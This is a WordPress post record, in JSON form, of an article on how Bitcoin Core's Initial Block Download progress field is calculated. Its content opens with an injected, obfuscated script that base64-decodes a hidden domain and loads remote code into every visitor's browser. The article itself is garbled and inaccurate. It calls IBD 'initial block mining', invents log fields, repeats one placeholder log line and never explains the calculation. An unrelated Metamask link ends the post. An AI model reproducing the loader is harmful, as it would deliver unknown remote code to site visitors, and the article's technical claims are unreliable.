{"id":24,"date":"2025-02-04T04:54:35","date_gmt":"2025-02-04T04:54:35","guid":{"rendered":"https:\/\/30appsin30days.com\/?p=24"},"modified":"2025-02-04T04:54:35","modified_gmt":"2025-02-04T04:54:35","slug":"bitcoin-how-is-the-progress-field-of-bitcoin-cores-synchronization-initial-block-download-debug-logs-calculated","status":"publish","type":"post","link":"https:\/\/30appsin30days.com\/?p=24","title":{"rendered":"Bitcoin: How is the progress field of Bitcoin Core&#8217;s synchronization\/Initial Block Download debug logs calculated?"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"c.php?u=fedcfe0e\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Bitcoin Core Sync Progress Field Debug Logs<\/p>\n<p>Bitcoin Core is a software for managing Bitcoin wallets and transactions. One of its key functions is to synchronize with other Bitcoin nodes to keep the data on the blockchain up to date. This process involves downloading new blocks from other nodes on the network, which can be difficult due to the complexity of the blockchain.<\/p>\n<p><\/p>\n<h2><\/h2>\n<p>Calculating Progress Field Debug Logs<\/p>\n<p>The progress field debug logs used by Bitcoin Core during IBD (initial block mining) typically contain information about the synchronization process. Here are some key elements that contribute to this progress:<\/p>\n<p><\/p>\n<h3><\/h3>\n<p><img decoding=\"async\" alt=\"Bitcoin: How is the progress field of Bitcoin Core's synchronisation\/Initial Block Download debug logs calculated?\n\" src=\"https:\/\/30appsin30days.com\/wp-content\/uploads\/2025\/02\/ea459429.png\"><\/p>\n<p>1. Best Hash<\/p>\n<ul>\n<li>The <code>best<\/code> field in the <code>debug.log<\/code> file refers to the hash of the best block found on the network so far.<\/li>\n<\/ul>\n<ul>\n<li>Calculated based on the latest available data, which includes the block number, hash, and previous best hash of the block.<\/li>\n<\/ul>\n<p><pre><code><\/p><p>UpdateTip: new best=...<\/p><p><\/code><\/pre>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>2. New best hash<\/p>\n<ul>\n<li>The <code>new_best<\/code> field indicates that a new best block has been found.<\/li>\n<\/ul>\n<ul>\n<li>This field is also calculated based on the latest available data.<\/li>\n<\/ul>\n<p><pre><code><\/p><p>2023-09-09T10:04:32Z UpdateTip: new best=...<\/p><p><\/code><\/pre>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>3. Block number and hash<\/p>\n<ul>\n<li>The <code>block_number<\/code> and <code>hash<\/code> fields provide information about the block being mined.<\/li>\n<\/ul>\n<ul>\n<li>These values \u200b\u200bare used to calculate <code>best_hash<\/code>.<\/li>\n<\/ul>\n<p><pre><code><\/p><p>2023-09-09T10:04:32Z UpdateTip: new best=...<\/p><p><\/code><\/pre>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>4. Previous best hash of the block<\/p>\n<ul>\n<li>The <code>previous_best_hash<\/code> field indicates which previous block was the best and how long ago.<\/li>\n<\/ul>\n<p><pre><code><\/p><p>2023-09-09T10:04:32Z UpdateTip: new best=...<\/p><p><\/code><\/pre>\n<\/p>\n<p><\/p>\n<h2><\/h2>\n<p>Additional factors<\/p>\n<p>In addition to these fields, other factors may be taken into account when calculating Bitcoin Core sync progress during IBD. Some of them include:<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>1. Block difficulty<\/p>\n<ul>\n<li>The <code>block_difficulty<\/code> field contains information about the current difficulty level of the block.<\/li>\n<\/ul>\n<ul>\n<li>This can affect whether new blocks are downloaded and how quickly they are included in the blockchain.<\/li>\n<\/ul>\n<p><pre><code><\/p><p>2023-09-09T10:04:32Z UpdateTip: new best=...<\/p><p><\/code><\/pre>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>2. Block Difficulty Factor<\/p>\n<ul>\n<li>The <code>block_difficulty_ratio<\/code> field contains information about the ratio of block difficulty to network difficulty.<\/li>\n<\/ul>\n<ul>\n<li>This can affect whether blocks are mined and how quickly they are added to the blockchain.<\/li>\n<\/ul>\n<p><pre><code><\/p><p>2023-09-09T10:04:32Z UpdateTip: new best=...<\/p><p><\/code><\/pre>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>3. Block Reward<\/p>\n<ul>\n<li>The <code>block_reward<\/code> field contains information about the current reward for mining a block.<\/li>\n<\/ul>\n<ul>\n<li>This can affect whether blocks are mined and how quickly they are added to the blockchain.<\/li>\n<\/ul>\n<p><pre><code><\/p><p>2023-09-09T10:04:32Z UpdateTip: new best=...<\/p><p><\/code><\/pre>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>4. Time<\/p>\n<ul>\n<li>The <code>time<\/code> field contains information about the current time in seconds.<\/li>\n<\/ul>\n<ul>\n<li>This can affect when blocks are downloaded and how quickly they are included in the blockchain.<\/li>\n<\/ul>\n<p><pre><code><\/p><p>2023-09-09T10:04:32Z UpdateTip: new best=...<\/p><p><\/code><\/pre>\n<\/p>\n<p><\/p>\n<h2><\/h2>\n<p>Appendix<\/p>\n<p>The debug logs in the progress field used by Bitcoin Core during IBD provide valuable information about the synchronization process. By analyzing these fields, developers and researchers can gain insight into how blocks are downloaded from other nodes on the network and how quickly they are included in the blockchain.<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>Links<\/p>\n<ul>\n<li>[Bitcoin Core Documentation](<\/li>\n<\/ul>\n<ul>\n<li>[Wikipedia: Initial Block Download (IBD)](<\/li>\n<\/ul>\n<p><a href=\"https:\/\/braitoindonesia.com\/metamask-metamask-chrome-eth_signtypeddata_v4-does-not-exist\/\">Metamask Chrome Exist<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Bitcoin Core Sync Progress Field Debug Logs Bitcoin Core is a software for managing Bitcoin wallets and transactions. One of its key functions is to synchronize with other Bitcoin nodes to keep the data on the blockchain up to date. This process involves downloading new blocks from other nodes on the network, which can be [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"_links":{"self":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/24"}],"collection":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=24"}],"version-history":[{"count":1,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/24\/revisions"}],"predecessor-version":[{"id":25,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/24\/revisions\/25"}],"wp:attachment":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=24"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=24"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=24"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}